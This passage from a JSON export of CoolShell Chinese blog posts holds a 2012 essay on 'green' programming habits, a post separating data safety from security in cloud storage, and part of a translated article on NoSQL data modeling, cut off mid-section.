[![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![将vim变得简单:如何在vim中得到你最喜爱的IDE特性](../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg)](https://coolshell.cn/articles/894.html)[将vim变得简单:如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [游戏：VIM大冒险](https://coolshell.cn/articles/7166.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-27 做个环保主义的程序员.md",
    "content": "---\nlayout: post\ntitle: 做个环保主义的程序员\ndate: 2012/4/27/ 0:26:44\nupdated: 2012/4/27/ 0:26:44\nstatus: publish\npublished: true\ntype: post\n---\n\n十多年前刚走入社会工作的时候，那时的中国软件开发根本没有什么版本管理，也没有什么编程规范，软件开发相比起今天来说非常地混乱，那时仅凭自己的一些学习总结了一些C语言编程中的好的小笔记，后来，这些笔记写成了一篇叫《[编程修养](http://blog.csdn.net/haoel/article/details/2872)》的文章。今天，又有些感触，想把这个话题扩大一下，从“个人修养”扩大到“环境保护”，所谓，穷则独善其身，富则达济天下，今天的技术人员比十多年前在技术和环境上都富有了许多，所以，也应该或多或少地担负起“达济天下”的责任了。\n\n\n环境保护说白了就是保护一个良好的环境，为好的环境添砖加瓦，与破坏环境的人和事做斗争。其实，从技术人员来说，我们可以做一些力所能及的事。因为我们身边的技术环境还有很大的改善的空间，而一些来之不易的东西还需要我们去小心维护。另外，对于我们自己来说，少吃一些垃圾食品，健康生活，对自己也有益。\n\n\n#### 环保主义软件开发\n\n\n**![](../wp-content/uploads/2012/04/Green-Computing.jpg \"Green Computing\")**先说说软件开发中的环保。比如：\n\n\n* **环保需求**。当我们分析需求的时候，如果我们能做到不要像“[这是到底是谁的错](https://coolshell.cn/articles/7126.html \"这到底是谁之错？\")”一文中那样的来者不拒，如果我们在面对需求能多问这样几个问题：为什么 要有这样的需求？这个功能主要能解决什么 样的问题？为什么不是另外那一种？可不可以简化一下？其实，我们并不需要创新，只需要真正地问好这几个问题，我们就可以少看着一些弯路，少一些苦逼的加班，少一些内耗，少一些埋怨，也就可以为这个社会节省下一些资源，从而环保。\n\n\n\n* **环保开发**。当我们做设计写代码的时候，如果我们多花一些时间去思考一下，我们就可以少一些代码（参看“[多一些时间少一些代码](https://coolshell.cn/articles/5686.html \"多些时间能少写些代码\")”）。如果我们在一开始多思考一下，不要急着马上去用迭代的方式认识世界，多思考一下怎么把复杂的东西解藕，把复杂的东西简化，怎么做出一个优雅的设计，怎么让我们的程序少一些tricky的东西，怎么让我们的程序变得更简洁，更清楚，更直，在一开始思考一下未来需求可能的变化，未来软件需要怎么测试，未来的系统需要怎么的运维，那么，我们可以少一些返工，少一些重构，少欠一些债，少一些低级错误，少承担一些系统上线后的压力，那么，我们同样可以为这个社会节约一些资源。说得再直白一点，你用更少的代码产生出更高的效益，少耗一些CPU，就能省一些电，间接地保护了环境。（参看 [Why C++？](https://coolshell.cn/articles/6548.html \"Why C++ ? 王者归来\")）\n\n\n\n* **环保文化**。当我们在做软件开发的时候，如果你能影响并帮助你身边的同事，让他们写出更有修养更有效率质量更高的代码来，并发动团队树立工程师的文化，用团队去影响你的老板，你的公司，让他们能再多一点地重视技术，重视技术人员，那么你必然也会成为一个受益者。\n\n\n\n* **环保管理**。当你做为一个管理者，做为一个方法推动者，如果你能更多地注重软件开发中真正创造生产力的程序员，为他们分忧，为他们铺路，为他们创造条件，那么，他们就会更多的回馈于你，就会少了一些不信任，就会少了一些被动，就会多一些主动，就会多一分责任，不但可以激发团队热情，同时可以有更大的生产力。同样是一种环保。\n\n\n当然，这样的东西还有很多，你也可能会觉得太过理想主义了，我们不可能马上改变之，但是我们可以试一试。\n\n\n#### 技术环保主义\n\n\n其实，我们身边有很多可以做的技术环保工作。比如说，在Linux下少用root用户，SQL的时候，delete前先select，这样，你就不会做出一些让你后悔的事（参看[程序员那些悲催的事](https://coolshell.cn/articles/3980.html \"程序员那些悲催的事儿\")），不会让你重头来过，从而至少不会浪费电能。写代码的时候要很小心管理好内存，以及各种资源，和线程并发，组织好的你的代码中的业务逻辑，做好单元测试，自动化回归测试，等，这样你就可以少一点遇到BUG，在遇到BUG时少一些时间去做调查。操作电脑的时候少下一些破解软件，少访问一些乱七八遭的网站，这样，你就会少中一些病毒，少一些损失，少一些重做系统，一样可以节省电能，最重要的是可以节省你的很多时间，让你可以去做一些更有价值 的事情。\n\n\n当然，除此之外，我们更应该做为一个大气的，高瞻的环保主义者，比如下面的事情：\n\n\n* **拒绝IE6**。如果你坚决不用IE6，并影响你身边的人，让他们升级IE6，尝试Chrome 或 Firefox，多告诉一下自己身边的朋友，怎么设计口令，怎么在互联网上保护自己的隐私和安全，怎么防木马，这样就能少一些问题，少装两次系统，就能省一些电，也就能多一些时间去做一些更有意义的事。也是在为整个世界整个人类做贡献。（**看看某些软件产商，占据着用户桌面的江山，还整天弹窗弹窗的，说这不安全，那不安全的。你还是做安全的，你居然能容忍IE6装在用户的机器上，你还做个屁的安全！**）2011年3月份，[我国的IE6用户的百分比是34%](https://coolshell.cn/articles/3921.html \"中国仍是IE6的重灾区\")， 那时中国网民4.5亿，平均每三个人中有一个，2012年3月份，中国的比例还有24%左右，不过[中国的网民数达到了5.13亿](http://it.sohu.com/20120116/n332237326.shtml)，也就是说，平均5个人里有一个，但是中国依然是全世界的IE6占有量最大的，参看下图（来自：[http://www.ie6countdown.com](http://www.ie6countdown.com/)）面对下面的图片，你作何感想呢？\n\n\n*“**Friend Don’t Let Friend Use IE6**”*\n\n\n[![](../wp-content/uploads/2012/04/iecountdown2012.jpg \"The Internet Explorer 6 Countdown\")](http://www.ie6countdown.com)\n\n* **拒绝破解软件**。为什么要拒绝这些东西，因为你恐怕不知道这个软件的危害，包括一些汉化版的开源软件。这些软件中都会带 一些木马，比如：你下个putty的中文版，结果里有木马，人家就把你网站的口令盗了。关于网游，你可能不知道，连接网游私服的电脑基本上全是肉鸡，而 且，有很多的站点骗你下载软件破解程序，其实你下载到了一个木马。等等。这些生活都非常地不健康。\n\n\n* **拒绝抄袭和山寨**。如果你鄙视那些赤祼祼地抄袭者，不使用他们的产品，有的人会说你就是想标榜自己的高尚，ZB，假高尚，大家会说你没有必要。其实并不是，你这样做，其实是为了“环保”，为了“保护一个健康的IT环境”，虽然你没有创新，但是你的行为却是在鼓励创新的环境，这样，如果当整个大环境都是在创新文化影响之下，才会更健康，技术人员也才会被尊重，而我们自己最终会受益。虽然只是抑制抄袭和山寨，但是我们间接地为社会做了贡献。（看看那N多的抄袭团队，加入他们实在是耗费这个社会的资源） （那个整天复制这个复制这个复制那个的公司，看看你自己做的那些产品线？乱糟糟的。**你自己看看，你有个人空间，还有群空间，还有校友录，然后你还要做个facebook式的“朋友”，还要搞个微博，然后还要搞个微信，大哥啊，你把这些相似度很大的东西放在了N多的服务器上，你不觉得浪费吗？你真是山寨之王啊，自己都一直在复制自己的产品**。还有人说你们的产品经理一流，真是脑残啊。对于你们的复制精神，我只能拜了！）\n\n\n* **拒绝百度搜索**。如果你学得百度还是可以的话，你不妨看看我的微博（[这个](http://weibo.com/1401880315/ybN502xZ9)，[这个](http://weibo.com/1401880315/ye6wNFTUW)（[抓图](http://weibo.com/1401880315/ye6E0a4zN)），还有和[这个](http://weibo.com/1401880315/yfC4yzonW)和 [这个](http://weibo.com/1401880315/zlS3IbbEH)）（以前，[百度搜索出来的很多的开源软件（PuTTY、WinSCP）的第一个链接全是带木马的](http://www.techweb.com.cn/it/2012-01-31/1145906.shtml)，百度就是一个网上的病毒 )，你会发现百度不单单是广告的问题，很多东西根本搜不出来，包括他自己的内容。**用百度就是浪费时间，浪费计算资源**。如果你告诉你身边的朋友不要用百度搜索，而是用Google，并能耐心地教会他们翻墙，这样，我们就可以让那些“穷则穷凶极恶，富则为富不仁”的企业少一些自以为是，最重要的是可以让他们少制造一些垃圾信息和垃圾产品，世界少一些垃圾，自然也就环保了。\n\n\n* **拒绝过重的商业氛围**。很多社区的商业氛围实在是太浓了，全都是广告。整个社区根本都不是为技术人员来做的，而为了那些软件产商，为了那些公司。他们只知道为那些大公司写软文，做广告，开大会。他们只想着挣钱。网页上全是花花绿绿的广告，打开他们的网页，就会多耗许多电，浏览他们网站上的文章，到他们的大会上听他们的软件广告分享，就会让自己的生命和时间浪费，自己消耗了体力不说，却还没得到什么营养，相当的不环保。\n\n\n* **拒绝浮燥**。比如：浮燥地创业者们，被风投们一轮一轮地压榨。为了让风投满意，牺牲自己的初衷，去找水军刷排名，去发垃圾邮件，去烧钱买吆喝，制造虚假的繁荣，等等。另外，少去追那些新的技术，少一些浮夸，不要开口闭口的就是海量数据，高性能，要当个架构师，经理，要拿多少多少的工资，与其这样，还不如多静下心来研究一下那些十来年的技术，思考一下自己身边的问题，一步一步走踏实，少摔几个跟头，这样，你也就能多一些能力，多一些自信，也就能多做一些事，多解决一些问题，你的职业生源走好了，也就很环保了。\n\n\n还有很多，我相信大家明白我想说什么。其实，我想说的是，**这不单单是一种“个人修养”，这也是一种对社会贡献的方式，更是一种“低碳环保”的生活方式**。\n\n\n**让我们一起来做有修养的环保主义的程序员吧，少吃一些垃圾食品，多一些绿色的健康生活！**\n\n\n***—————— 更新 2012年4月27 ——————***\n\n\n我看到很多网友并不同意我的观点，并指责我的偏激和极端。挺好的，我知道，我说到了你们最敏感的地方，我很高兴。\n\n\n**你可以对现实妥协，你可以继续钟爱你的垃圾食品，你可以继续使用百度搜索，你可以继续生活在墙内，我虽然替你感到惋惜，但是我不会勉强你，因为我能理解你可以不环保，本来也是，这些事情，你能做到固然好，你做不到，也是你的选择。每个人的生活每个人自己去选择，想健康地生活，或是不健康地生活，都是你自己的权利**。\n\n\n（全文完）\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [做个环保主义的程序员](https://coolshell.cn/articles/7186.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-9 谈谈数据安全和云存储.md",
    "content": "---\nlayout: post\ntitle: 谈谈数据安全和云存储\ndate: 2012/4/9/ 0:33:22\nupdated: 2012/4/9/ 0:33:22\nstatus: publish\npublished: true\ntype: post\n---\n\n前些天，创新工场李开复同学[在2012博鳌亚洲论坛表示](http://weibo.com/1197161814/ycNUWw7hz \"李开复：数据存在大公司比身边安全 不信问陈冠希\")：\n\n\n\n> “你们有多少人丢过手机？大概有15%。你们有多少人数据放在微软掉过的？我想不见得很多吧。所以相对来说是安全的。**放在大公司里比自己拿着掉的概率更大，你不相信的话，可以问陈冠希先生。**”\n> \n> \n\n\nhttp://ww4.sinaimg.cn/bmiddle/61e04755jw1drlo96bsktj.jpg\n\n\n#### 两种安全\n\n\n看到这个消息的时候，我觉得李开复同学混淆了云存储和安全这两个概念，在英文里，有两个单词，**一个是Safety，一个是Security，很不幸的是，这两个英文单词翻译成中文都叫“安全”**，因此总是被混淆，熟知英文又熟悉IT业的李开复同学在这个句子中混淆了这“两种安全”，我在[我的微博](http://weibo.com/haoel)上指出来后，居然还有很多网友继续混淆这两点，所以，这让我产生了写篇博文的说明一下，并顺着说说云存储和数据安全的个人理解。\n\n\n\n* **所谓Safety，也就是数据不丢失的意思。**这是目前云存储解决的问题，你可以把你的数据放在云端，你的所有的终端设备都可以通过云端来共享同步你的数据，这样，**云端就成了你数据同步和备份的数据中枢**。**说得专业一点，这又叫Availability**，中文叫可用性，意思是，你的数据总是可用的，基本不会丢失 ，\n\n\n* **所谓Security，也就是数据的隐私和不泄露**。这就是德艺双馨的陈冠希老师的痛，因为本来隐私和机密的数据被泄露出去了。就目前而言，我看到的云存储解决的都是Availability，而不是Security。Security解决的是私密和不泄露的问题。所以，李开复同学要让陈冠希老师把他的那些数据存到云端是可笑的，**对于那些私密照片，我相信陈冠希老师要求的是“Security”，而不是“Availability”**。\n\n\n有网友在我的微博上指出：”一种数据是不能丢，但是可以泄露，那可以放云端，另一种是宁可丢都不能泄露，这就不能放在云端了”。这句话可以帮你更好地理解什么是Availability和Security。\n\n\n#### Security – 本地 vs 云端\n\n\n现在的云解决的更多的是不丢失，而不是不泄漏。有一些网友在微博上和我争论道，其实云存储也能保证Security，因为有加密认证，云端会加密数据。我对此存有不同意见，**对于Security，我个人更觉得，Security的数据应该完全私有化，所以，放在本地会有更好的Security**。我的理由如下：\n\n\n* 先问你自己一个问题，无论是不是大公司的云服务，你敢把你的银行帐号和口令存在云端吗？你的银行帐号和口令你可能都不敢放在你的电脑里。因为你要找到一个完全绝对只有你能访问的地方。比如说你的大脑。\n\n\n* 云端的认证和云端的数据加密有用吗？没有用的，因为我只要破解了这个用户口令，想想你的电脑成了肉鸡，你网盘的口令都不要，你云端的数据一下都成了浮云了。想想去年年底各大网站的口令泄露吧。\n\n\n* 数据存放在本地的移动硬盘上时，只有你的电脑同时插着USB链接线了上网线时，别人才有机会入侵，一旦你发现入侵，你还可以拔线。而你的数据放在云端，黑客可以全天候地入侵你的云端数据，得手后你都不知道你自己的帐号被黑了。\n\n\n* 无论是云端或是本地都防不住你的客户端被肉鸡，而云端还要面对比本地更多的风险，比如，云端无良员工，云端的代码漏洞，云端的黑客入侵，还有电邮电话诈骗，钓鱼网站，DNS劫持，政府审查，等等，等等。\n\n\n看看银行和金融行业，完全是自己的专用网络，和互联网物理隔绝，这就是为了Security。Security就必需是完全绝对的对数据的私有化。比如某些公司的电脑不能使用USB，光驱等等外设，所有内网与外网的数据交换都必需受到监控。\n\n\n再多说一点，其实，要黑你的云端帐号并不用很高深的技术，有调查表明，伪装成客服人员或是警察给你打个电话问你要口令，大多数人是会告诉自己的帐号和口令的。还有就是抓住人的占便宜的心理，比如：在大街上撒U盘，大多数人是会捡回去插在自己或公司的电脑上浏览里面的内容的。\n\n\n所以，所谓物理隔绝不单单只是网线，还有这些外设。\n\n\n#### Availability – 本地 vs 云端\n\n\n硬盘是有寿命的，如果你不间断开机，你的硬盘估计也就能支持5年左右。光盘也是有寿命，因为是塑料也会老化的，和存放的条件有关。所以，在本地看来，数据总是容易丢失的。因为我们本地的存储设备并不可靠，只是家用级的，不是工业级的。\n\n\n云存储可以使用RAID之类的家庭里用不到的技术来镜像数据等技术手机，从而可以保证可用性很高，所以，放在云端的数据库可用性会更高一些（当然，就像开复老师说的一样还是要大公司才靠谱）。\n\n\n再多说一点，现在很多云存储仅仅只是做简单的和客户端本地的数据同步，没有版本控制，这意味着，如果你本地的文件本来是好的，但是后来你的电脑中了病毒后，你本地的数据被损坏了，不幸的是，这些被损坏的数据也同步到了云端，并分发到了你所有的终端设备中，于是灾难还是一样发生。所以，不支持版本控制，或是更轻量一些的“数据快照”功能的云，其实其数据并不Safe。\n\n\n#### 家庭私有云存储\n\n\n云存储，对于PC用户来说，就目前而言，最多的应用还是那些各种各样的Dropbox类的网盘应用，这些应用很好地解决了数据的——备份、同步、共享这三个问题。但是，我觉得还是有一些如下问题没有解决。\n\n\n* Security问题。就是陈冠希老师的数据私密性的问题。\n* 费用问题。相对于本地的存储来说，网盘费用太高了，还是一月或一年的算，Dropbox 100GB的网盘要200USD一年，这够买两个1TB的硬盘了，而且绝对可以用超过1年以上。\n* 备份效率问题。通过网络备份，同步和共享，对于数据量大一点，效率太差了。\n\n\n我不知道大家怎么样？我现在更多的数据备份是我的一些家庭照片和视频，随着现在的数码相机的像素越来越高，一张照片的大小可以在4MB甚至10M，数据量太大了。而且，这些照片都个人的照片，不能传到网上做备份。每次在我的SD卡，PC，移动硬盘，iPad，手机上倒腾这些照片和视频的时候，总是很麻烦。（我昨晚在微博上[做了个小调查](http://weibo.com/1401880315/ydGN1zXGz)，发现很多人家里是有很多设备的，像我这样，家里有3个本，2个台式机，2个kindle，1个iPad，2个智能手机，1个高清播放机的家庭都算是比较节俭的了）\n\n\n**我觉得就目前这样的情况，个人家庭的私有云解决方案应该要出现了**。也就是家庭内的数据中心解决方案，也许只需要像高清播放机那样的一个小盒子，里面可以用软件RAID两块或多块硬盘以保证数据的可用性，其还可以让你的数据在N多设备中共享，同步，备份，但你又不用担心互联网安全来担心这些数据，因为这仅仅是你的家庭局域网。\n\n\n因为小孩让家庭照片和视频暴增，导致我去年就在想应该有一个家庭私有网盘的东西，所以，当我前些天看到[Space Monkey](http://www.spacemonkey.com/) （[新闻报道](http://news.cnet.com/8301-19882_3-57391989-250/dropbox-rival-space-monkey-puts-cloud-in-your-house/)）的时候，我立马就觉得这就是我想要的东西。\n\n\nhttp://asset1.cbsistatic.com/cnwk.1d/i/tim/2012/03/07/spacemonkeyHW_270x283.JPG\n\n\n不过，国内还没有相应的产品，有想法的同学不妨试试去做一个类似于这样的产品，动作要快，千万不要让创新工场和腾讯抢先了。;-)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\nThe post [谈谈数据安全和云存储](https://coolshell.cn/articles/6976.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-5-15 NoSQL 数据建模技术.md",
    "content": "---\nlayout: post\ntitle: NoSQL 数据建模技术\ndate: 2012/5/15/ 0:22:13\nupdated: 2012/5/15/ 0:22:13\nstatus: publish\npublished: true\ntype: post\n---\n\n全文译自墙外文章“[NoSQL Data Modeling Techniques](http://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/)”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉。我的感觉是，关系型数据库想把一致性，完整性，索引，CRUD都干好，NoSQL只干某一种事，但是牺牲了很多别的东西。总体来说，我觉得NoSQL更适合做Cache。下面是正文——\n\n\nNoSQL 数据库经常被用作很多非功能性的地方，如，扩展性，性能和一致性的地方。这些NoSQL的特性在理论和实践中都正在被大众广泛地研究着，研究的热点正是那些和性能分布式相关的非功能性的东西，我们都知道 [CAP 理论](http://en.wikipedia.org/wiki/CAP_theorem)被很好地应用于了 NoSQL 系统中（陈皓注：CAP即，一致性(Consistency)， 可用性(Availability)， 分区容忍性(Partition tolerance)，在分布式系统中，这三个要素最多只能同时实现两个，而NoSQL一般放弃的是一致性）。但在另一方面，NoSQL的数据建模技术却因为缺乏像关系型数据库那样的基础理论没有被世人很好地研究。这篇文章从数据建模方面对NoSQL家族进行了比较，并讨论几个常见的数据建模技术。\n\n\n要开始讨论数据建模技术，我们不得不或多或少地先系统地看一下NoSQL数据模型的成长的趋势，以此我们可以了解一些他们内在的联系。下图是NoSQL家族的进化图，我们可以看到这样的进化：Key-Value时代，BigTable时代，Document时代，全文搜索时代，和Graph数据库时代：（陈皓注：注意图中SQL说的那句话，NoSQL再这样发展下去就是SQL了，哈哈。）\n\n\n\n[![](../wp-content/uploads/2012/05/overview2.png?w=594&h=699 \"overview\")](https://coolshell.cn/wp-content/uploads/2012/05/overview2.png)NoSQL Data Models\n\n\n\n首先，我们需要注意的是SQL和关系型数据模型已存在了很长的时间，这种面向用户的自然性意味着：\n\n\n\n* 最终用户一般更感兴趣于数据的聚合显示，而不是分离的数据，这主要通过SQL来完成。\n* 我们无法通过人手工控制数据的并发性，完整性，一致性，或是数据类型校验这些东西的。这就是为什么SQL需要在事务，二维表结构（schema）和外表联合上做很多事。\n\n\n另一方面，SQL可以让软件应用程序在很多情况下不需要关心数据库的数据聚合，和数据完整性和有效性进行控制。而如果我们去除了数据一致性，完整性这些东西，会对性能和分布存储有着重的帮助。正因为如此，我们才有数据模型的进化：\n\n\n* **Key-Value 键值对存储**是非常简单而强大的。下面的很多技术基本上都是基于这个技术开始发展的。但是，Key-Value有一个非常致命的问题，那就是如果我们需要查找一段范围内的key。（陈皓注：学过hash-table数据结构的人都应该知道，hash-table是非序列容器，其并不像数组，链接，队列这些有序容器，我们可以控制数据存储的顺序）。于是，有序键值 （Ordered Key-Value） 数据模型被设计出来解决这一限制，来从根本上提高数据集的问题。\n\n\n* **Ordered Key-Value 有序键值**模型也非常强大，但是，其也没有对Value提供某种数据模型。通常来说，Value的模型可以由应用负责解析和存取。这种很不方便，于是出现了 BigTable类型的数据库，这个数据模型其实就是map里有map，map里再套map，一层一层套下去，也就是层层嵌套的key-value（value里又是一个key-value），这种数据库的Value主要通过“列族”（column families），列，和时间戳来控制版本。（陈皓注：关于时间戳来对数据的版本控制主要是解决数据存储并发问题，也就是所谓的乐观锁，详见《[多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html \"多版本并发控制(MVCC)在分布式系统中的应用\")》）\n\n\n* **Document databases 文档数据库** 改进了 BigTable 模型，并提供了两个有意义的改善。第一个是允许Value中有主观的模式（scheme），而不是map套map。第二个是索引。 **Full Text Search Engines 全文搜索引擎**可以被看作是文档数据库的一个变种，他们可以提供灵活的可变的数据模式（scheme）以及自动索引。他们之间的不同点主要是，文档数据库用字段名做索引，而全文搜索引擎用字段值做索引。\n\n\n* **Graph data models 图式数据库** 可以被认为是这个进化过程中从 Ordered Key-Value 数据库发展过来的一个分支。图式数据库允许构建议图结构的数据模型。它和文档数据库有关系的原因是，它的很多实现允许value可以是一个map或是一个document。\n\n\n####  NoSQL 数据模型摘要\n\n\n本文剩下的章节将向你介绍数据建模的技术实现和相关模式。但是，在介绍这些技术之前，先来一段序言：\n\n\n* NoSQL 数据模型设计一般从业务应用的具体数据查询入手，而不是数据间的关系：\n+ 关系型的数据模型基本上是分析数据间的结构和关系。其设计理念是： ”**What answers do I have?”**\n+ NoSQL 数据模型基本上是从应用对数据的存取方式入手，如：我需要支持某种数据查询。其设计理念是**”What questions do I have?”**\n\n\n* NoSQL 数据模型设计比关系型数据库需要对数据结构和算法的更深的了解。在这篇文章中我会和大家说那些尽人皆知的数据结构，这些数据结构并不只是被NoSQL使用，但是对于NoSQL的数据模型却非常有帮助。\n\n\n* 数据冗余和反规格化是一等公民。\n\n\n* 关系型数据库对于处理层级数据和图式数据非常的不方便。NoSQL用来解决图式数据明显是一个非常好的解决方案，几乎所有的NoSQL数据库可以很强地解决此类问题。这就是为什么这篇文章专门拿出一章来说明层级数据模型。\n\n\n下面是NoSQL的分类表，也是我用来写这篇文章时做实践的产品：\n\n* Key-Value 存储: Oracle Coherence, Redis, Kyoto Cabinet\n* 类BigTable存储: Apache HBase, Apache Cassandra\n* 文档数据库: MongoDB, CouchDB\n* 全文索引: Apache Lucene, Apache Solr\n* 图数据库: neo4j, FlockDB\n\n\n\n#### 概念技术 Conceptual Techniques\n\n\n这一节主要介绍NoSQL数据模型的基本原则。\n\n\n##### (1) 反规格化 Denormalization\n\n\n反规格化 Denormalization 可以被认为是把相同的数据拷贝到不同的文档或是表中，这样就可以简化和优化查询，或是正好适合用户的某中特别的数据模型。这篇文章中所说的绝大多数技术都或多或少地导向了这一技术。\n\n\n总体来说，反规格化需要权衡下面这些东西：\n\n\n* ***查询数据量 /查询IO***  VS  ***总数据量***。使用反规格化，一方面可以把一条查询语句所需要的所有数据组合起来放到一个地方存储。这意味着，其它不同不同查询所需要的相同的数据，需要放在别不同的地方。因此，这产生了很多冗余的数据，从而导致了数据量的增大。\n\n\n* ***处理复杂度***  VS ***总数据量***. 在符合范式的数据模式上进行表连接的查询，很显然会增加了查询处理的复杂度，尤其对于分布式系统来说更是。反规格化的数据模型允许我们以方便查询的方式来存构造数据结构以简化查询复杂度。\n\n\n**适用性**: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。\n\n\n##### (2) 聚合 Aggregates\n\n\n所有类型的NoSQL数据库都会提供灵活的Schema（数据结构，对数据格式的限制）：\n\n\n* Key-Value Stores 和 Graph Databases 基本上来说不会Value的形式，所以Value可以是任意格式。这样一来，这使得我们可以任意组合一个业务实体的keys。比如，我们有一个用户帐号的业务实体，其可以被如下这些key组合起来： *UserID\\_name, UserID\\_email, UserID\\_messages* 等等。如果一个用户没有email或message，那么相应也不会有这样的记录。\n\n\n* BigTable 模型通过列集合来支持灵活的Schema，我们称之为列族（*column family*）。BigTable还可以在同一记录上出现不同的版本（通过时间戳）。\n\n\n* Document databases 文档数据库是一种层级式的“去Schema”的存储，虽然有些这样的数据库允许检验需要保存的数据是否满足某种Schema。\n\n\n灵活的Schema允许你可以用一种嵌套式的内部数据方式来存储一组有关联的业务实体（陈皓注：类似于JSON这样的数据封装格式）。这样可以为我们带来两个好处。\n\n\n* 最小化“一对多”关系——可以通过嵌套式的方式来存储实体，这样可以少一些表联结。\n\n\n* 可以让内部技术上的数据存储更接近于业务实体，特别是那种混合式的业务实体。可能存于一个文档集或是一张表中。\n\n\n下图示意了这两种好处。图中描给了电子商务中的商品模型（陈皓注：我记得我在“[挑战无处不在](https://coolshell.cn/articles/7048.html \"挑战无处不在\")”一文中说到过电商中产品分类数据库设计的挑战）\n\n* 首先，所有的商品Product都会有一个ID，Price 和 Description。\n\n\n* 然后，我们可以知道不同的类型的商品会有不同的属性。比如，作者是书的属性，长度是牛仔裤的属性。其些属性可能是“一对多”或是“多对多”的关系，如：唱片中的曲目。\n\n\n* 接下来，我们知道，某些业务实体不可能使用固定的类型。如：牛仔裤的属性并不是所有的牌子都有的，而且，有些名牌还会搞非常特别的属性。\n\n\n对于关系型数据库来说，要设计这样的数据模型并不简单，而且设计出来的绝对离优雅很远很远。而我们NoSQL中灵活的Schema允许你使用一个聚合 Aggregate (product) 可以建出所有不同种类的商品和他们的不同的属性：\n\n\n\n\n\n[![](../wp-content/uploads/2012/05/soft-schema2.png?w=594&h=439 \"soft-schema\")](https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png)\n\n\nEntity Aggregation\n\n\n\n\n\n上图中我们可以比较关系型数据库和NoSQL的差别。**但是我们可以看到在数据更新上，非规格化的数据存储在性能和一致性上会有很大的影响，这就是我们需要重点注意和不得不牺牲的地方**。\n\n\n\n**适用性**: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。\n\n\n##### (3) 应用层联结 Application Side Joins\n\n\n表联结基本上不被NoSQL支持。正如我们前面所说的，NoSQL是“面向问题”而不是“面向答案”的，不支持表联结就是“面向问题”的后果。表的联结是在设计时被构造出来的，而不是在执行时建造出来的。所以，表联结在运行时是有很大开销的（陈皓注：搞过SQL表联结的都知道笛卡尔积是什么东西，大可以在参看以前酷壳的“[图解数据库表Joins](https://coolshell.cn/articles/3463.html \"图解SQL的Join\")”），但是在使用了 Denormalization 和 Aggregates 技术后，我们基本不用进行表联结，如：你们使用嵌套式的数据实体。当然，如果你需要联结数据，你需要在应用层完成这个事。下面是几个主要的Use Case：\n\n\n* 多对多的数据实体关系——经常需要被连接或联结。\n\n\n* 聚合 Aggregates 